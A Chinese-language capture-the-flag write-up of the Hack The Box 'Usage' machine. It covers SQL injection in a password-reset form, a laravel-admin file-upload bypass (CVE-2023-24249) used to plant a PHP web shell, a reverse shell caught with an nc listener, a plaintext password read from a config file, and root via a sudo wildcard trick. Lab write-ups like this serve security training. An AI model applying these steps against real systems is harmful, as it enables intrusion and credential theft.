Linux/Usage

Usage

Enumeration

nmap

首先使用 nmap 默认配置扫描系统端口对外开放情况,发现对外开放了 22 和 80 端口,然后又扫描了这两个端口的详细信息,情况如下

┌──(kali㉿kali)-[~/vegetable/HTB/Usage]
└─$ nmap -sC -sV -p 22,80 -oA nmap 10.10.11.18
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-14 22:19 EDT
Nmap scan report for 10.10.11.18
Host is up (0.52s latency).

PORT   STATE SERVICE    VERSION
22/tcp open  tcpwrapped
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp open  http       nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.38 seconds

可以看到 80 端口运行着 http,使用了 nginx,并且提示无法访问 http://usage.htb,将域名添加至 /etc/hosts 文件中

┌──(kali㉿kali)-[~/vegetable/HTB/Usage]
└─$ echo '10.10.11.18 usage.htb' | sudo tee -a /etc/hosts
[sudo] password for kali: 
10.10.11.18 usage.htb

TCP/80

先从 80 端口开始,访问该网站,出现一个登录框,有 /login,/register,/admin 链接,可以尝试注册一个账号,注册成功后会重定向至 /dashboard,然后又重定向到 /login

使用注册的用户信息登录成功,发现就和标题一样,是一些博客相关的东西

查看浏览器插件 wapplayzer 显示的结果,发现系统使用了 Laravel 框架,但是暂时不清楚是哪个版本,也没有较新的漏洞,暂时先放下看看别的

页面上还有一个 admin,点击后会跳转到域名 admin.usage.htb,按照同样的方式将这个域名也添加到 /etc/hosts,然后访问看到一个管理员的登录入口

Exploitation

sql injection

在首页中的 reset password 处,作为忘记密码后填写邮件重置密码的功能,请求包如下

POST /forget-password HTTP/1.1

Host: usage.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 73

Origin: http://usage.htb

Connection: close

Referer: http://usage.htb/forget-password

Cookie: XSRF-TOKEN=eyJpdiI6Im9MOEtFbmd0ckF4MzZHQUFBZjlObFE9PSIsInZhbHVlIjoidnEwczRjTTJWOHVXSlJZMHRwL3NjNkZ5NFpUeiswOWhTVWZGaDlRdlVZTmJRRUtlMWdLbFg0Rzl6ejR4d1d1NlNLV3NESUdWSWEwVHRpY0RkcXZsaWlTN3Iya2pVekdWY20yWHd2WEd0eHA5enNMSlpLWUdid1dFZGNVS0Q5cy8iLCJtYWMiOiJkNGFmYjM3ZTVhNzJiYzZhMzQ3ZWJlZjcxODc3YjJiOGZiZWViYTY1Y2E5YWE5Mzc0MjRlNGMzMjBjMDEzZDcyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InpVcTFSZ0h5MUlha0ZZNXVpSDdaRlE9PSIsInZhbHVlIjoiR25rbGllVmZ6RnhGSmQ3cnBqZjA0Nnp0TzkwQVpYN2tnRWthNXpSZUJ5am90OTExdW56VlZUOERsSUQ1bUxybTg4dWYzbnppamRTdGltRy8yVk9lcDZnd1ZmanFvRjB3YmhvOHAvNTZ0TEN4Mm5PKzFrVmpTZ0dnYzVPTDNLakMiLCJtYWMiOiJjMzQ1MWJkN2M5ZDgwYjhjZWFmMWM5YmMzYzIzZjM0YjQ1YTVmZjI2YmI5YzBjNDdmY2ViYWQ5ZjcxMTdlNmMwIiwidGFnIjoiIn0%3D

Upgrade-Insecure-Requests: 1



_token=UJZ1h0keEyWPjyEPPwGSILGkHvlyP9C4OdX11pCp&email=vegetable%40123.com

正常情况下,会响应一个 302,然后页面被重定向,但是如果在参数 email 后添加一个单引号的话,服务器会响应 500

添加两个单引号,服务器响应正常,基本判断存在 sql 注入

将数据包的请求头保存到 sql.txt 中,在注入点 email 参数后添加一个 *,然后使用 sqlmap 自动化注入

但是因为网络连接问题,我的 sqlmap 在运行不久之后就会断开,而且要浪费掉很长的时间,我甚至怀疑 sql 注入到底是不是关键的步骤,在论坛里发现有人在提问,但是没有回答。后来我找到了一篇 writeup 证实了这一点,并且也借鉴了一下他提权的过程,HTB - Usage | My Pentest Book (gitbook.io),通过 sql 注入获取 hash,然后利用 hashcat 或者 john 破解 hash 值。因为懒,我直接使用了他爆破出来的密码 admin/whatever1

获取用户名密码后,可以直接登录 Usage admin 管理页面

登陆成功显示如下,发现使用了 laravel-admin,版本为 1.8.18。laravel-admin是一个可以快速帮你构建后台管理的工具,它提供丰富的页面组件和表单元素,还有即插即用的功能组件,通过简单的配置或使用少量的代码就实现完善的后台管理功能。

CVE-2023-24249

搜索该版本,发现存在任意文件上传的漏洞,参考文章 CVE-2023-24249 | flyD,给出了很详细的利用过程,上传写好的一句话木马文件 shell.jpg,内容为

选择图片上传,截取数据包后,直接在 .jpg 后缀后面添加 .php 即可,然后放过所有的数据包

上传成功后可以看到图片除多了一个下载按钮,邮件点击该按钮选择在新的标签页打开即可获取 shell 地址

经过测试,可以执行系统命令

按照正常情况下,现在应该监听特定端口,并在浏览器中执行一些反向 shell 连接语句,获取 reverse shell。但是可能是为了避免给出提示,上传的 shell 很快就会被删除,被删除后每一次都需要重新上传,重新走一遍这个流程。但是试了几次都没能精准把控,最后决定在修改后缀名时直接把 shell 内容也改了,改成 PentestMonkey 的 shell

监听 4444 端口,按照刚才的流程将文件上传成功后,访问图片链接即可在监听端收到一个 shell,然后简单升级一个交互式 shell,在 home 目录下看到两个用户,在 dash 用户目录下可以看到 user.txt 文件,而且在隐藏文件 .monitrc 中发现了一个密码

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.18] 32816
Linux usage 5.15.0-101-generic #111-Ubuntu SMP Tue Mar 5 20:16:58 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
07:44:45 up 49 min,  0 users,  load average: 0.03, 0.05, 0.01
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1000(dash) gid=1000(dash) groups=1000(dash)
bash: cannot set terminal process group (1225): Inappropriate ioctl for device
bash: no job control in this shell

dash@usage:/$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
dash@usage:/$ ls /home
ls /home
dash  xander
dash@usage:/$ cd /home/dash
cd /home/dash
dash@usage:~$ ls -al
ls -al
total 52
drwxr-x--- 6 dash dash 4096 Apr 17 07:46 .
drwxr-xr-x 4 root root 4096 Aug 16  2023 ..
lrwxrwxrwx 1 root root    9 Apr  2 20:22 .bash_history -> /dev/null
-rw-r--r-- 1 dash dash 3771 Jan  6  2022 .bashrc
drwx------ 3 dash dash 4096 Aug  7  2023 .cache
drwxrwxr-x 4 dash dash 4096 Aug 20  2023 .config
drwxrwxr-x 3 dash dash 4096 Aug  7  2023 .local
-rw-r--r-- 1 dash dash   32 Oct 26 04:50 .monit.id
-rw-r--r-- 1 dash dash    5 Apr 17 07:46 .monit.pid
-rw------- 1 dash dash 1192 Apr 17 07:46 .monit.state
-rwx------ 1 dash dash  707 Oct 26 04:49 .monitrc
-rw-r--r-- 1 dash dash  807 Jan  6  2022 .profile
drwx------ 2 dash dash 4096 Aug 24  2023 .ssh
-rw-r----- 1 root dash   33 Apr 17 06:55 user.txt

dash@usage:~$ cat user.txt
cat user.txt
c2d*****************************

dash@usage:~$ cat .monitrc
cat .monitrc
#Monitoring Interval in Seconds
set daemon  60

#Enable Web Access
set httpd port 2812
     use address 127.0.0.1
     allow admin:3nc0d3d_pa$$w0rd  

Privilege Escalation

尝试使用该密码登录 xander 用户,成功了,直接运行 sudo -l,发现可以运行 /usr/bin/usage_management 文件

┌──(kali㉿kali)-[~]
└─$ ssh xander@10.10.11.18   
The authenticity of host '10.10.11.18 (10.10.11.18)' can't be established.
ED25519 key fingerprint is SHA256:4YfMBkXQJGnXxsf0IOhuOJ1kZ5c1fOLmoOGI70R/mws.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.18' (ED25519) to the list of known hosts.
xander@10.10.11.18's password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

  System information as of Wed Apr 17 07:49:23 AM UTC 2024

  System load:           0.0
  Usage of /:            65.0% of 6.53GB
  Memory usage:          21%
  Swap usage:            0%
  Processes:             228
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.18
  IPv6 address for eth0: dead:beef::250:56ff:feb9:751


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

xander@usage:~$ sudo -l
Matching Defaults entries for xander on usage:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User xander may run the following commands on usage:
    (ALL : ALL) NOPASSWD: /usr/bin/usage_management

通过查看该文件得知该二进制文件会压缩 /var/www/html 中的所有内容,并且有一个 * 通配符,意味着可能造成滥用

在 hacktricks 中发现如下内容,详情参考 通配符备用技巧 |黑客技巧 |黑客技巧 (hacktricks.xyz)

按照文章中要求的做,尝试创建符号链接,然后在执行二进制文件时就会抛出 root.txt,如下所示,也可以读取root 的 rsa 文件,然后通过 22 连接

参考链接:

CVE-2023-24249 | flyD

通配符备用技巧 |黑客技巧 |黑客技巧 (hacktricks.xyz)

HTB - Usage | My Pentest Book (gitbook.io)

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-04-22 11:16:03       19 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-04-22 11:16:03       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-04-22 11:16:03       19 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-04-22 11:16:03       20 阅读

热门阅读

  1. 考研依据数学思维导图,整理出的章节知识大纲

    2024-04-22 11:16:03       15 阅读
  2. ZooKeeper的分布式锁

    2024-04-22 11:16:03       15 阅读
  3. 程序员如何修炼线路

    2024-04-22 11:16:03       51 阅读
  4. 力扣第541题: 反转字符串 II

    2024-04-22 11:16:03       29 阅读
  5. 一些PHP知识(四)

    2024-04-22 11:16:03       13 阅读
  6. C++学习笔记(17)——list迭代器

    2024-04-22 11:16:03       17 阅读
  7. 车机电源管理设计

    2024-04-22 11:16:03       13 阅读